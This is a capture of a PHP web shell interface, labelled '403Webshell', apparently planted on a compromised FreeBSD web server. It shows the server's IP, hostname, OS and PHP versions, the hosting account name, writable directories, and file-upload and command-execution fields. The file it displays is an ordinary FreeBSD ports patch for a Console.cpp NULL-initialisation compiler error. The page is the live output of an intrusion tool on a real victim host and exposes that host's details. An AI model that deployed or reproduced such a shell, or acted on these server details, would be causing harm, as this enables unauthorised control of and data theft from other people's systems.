403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/audio/mac/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/audio/mac/files/patch-src_Console_Console.cpp
Console.cpp:36:3: error: cannot initialize a member subobject of type 'int' with an rvalue of type 'nullptr_t'
  NULL
  ^~~~
/usr/include/sys/_null.h:37:14: note: expanded from macro 'NULL'
#define NULL    nullptr
                ^~~~~~~
Console.cpp:36:3: warning: suggest braces around initialization of subobject [-Wmissing-braces]
  NULL
  ^~~~
  {   }
/usr/include/sys/_null.h:37:14: note: expanded from macro 'NULL'
#define NULL    nullptr
                ^~~~~~~
Console.cpp:36:3: warning: suggest braces around initialization of subobject [-Wmissing-braces]
  NULL
  ^~~~
  {   }
/usr/include/sys/_null.h:37:14: note: expanded from macro 'NULL'
#define NULL    nullptr
                ^~~~~~~

--- src/Console/Console.cpp.orig	2010-02-28 19:42:04 UTC
+++ src/Console/Console.cpp
@@ -33,7 +33,6 @@ typedef struct
 
 _ErrorDesc ErrorList[][2] = {
   ERROR_EXPLANATION
-  NULL
 };
 #endif
 
@@ -91,7 +90,7 @@ char *ErrorToString(int nErrNo)
 {
     int i = 0;
 
-    while (ErrorList[i])
+    while (i < sizeof(ErrorList)/sizeof(ErrorList[0]))
     {
         if (ErrorList[i]->nErrorNum == nErrNo)
             return ErrorList[i]->sErrorString;

Youez - 2016 - github.com/yon3zu
LinuXploit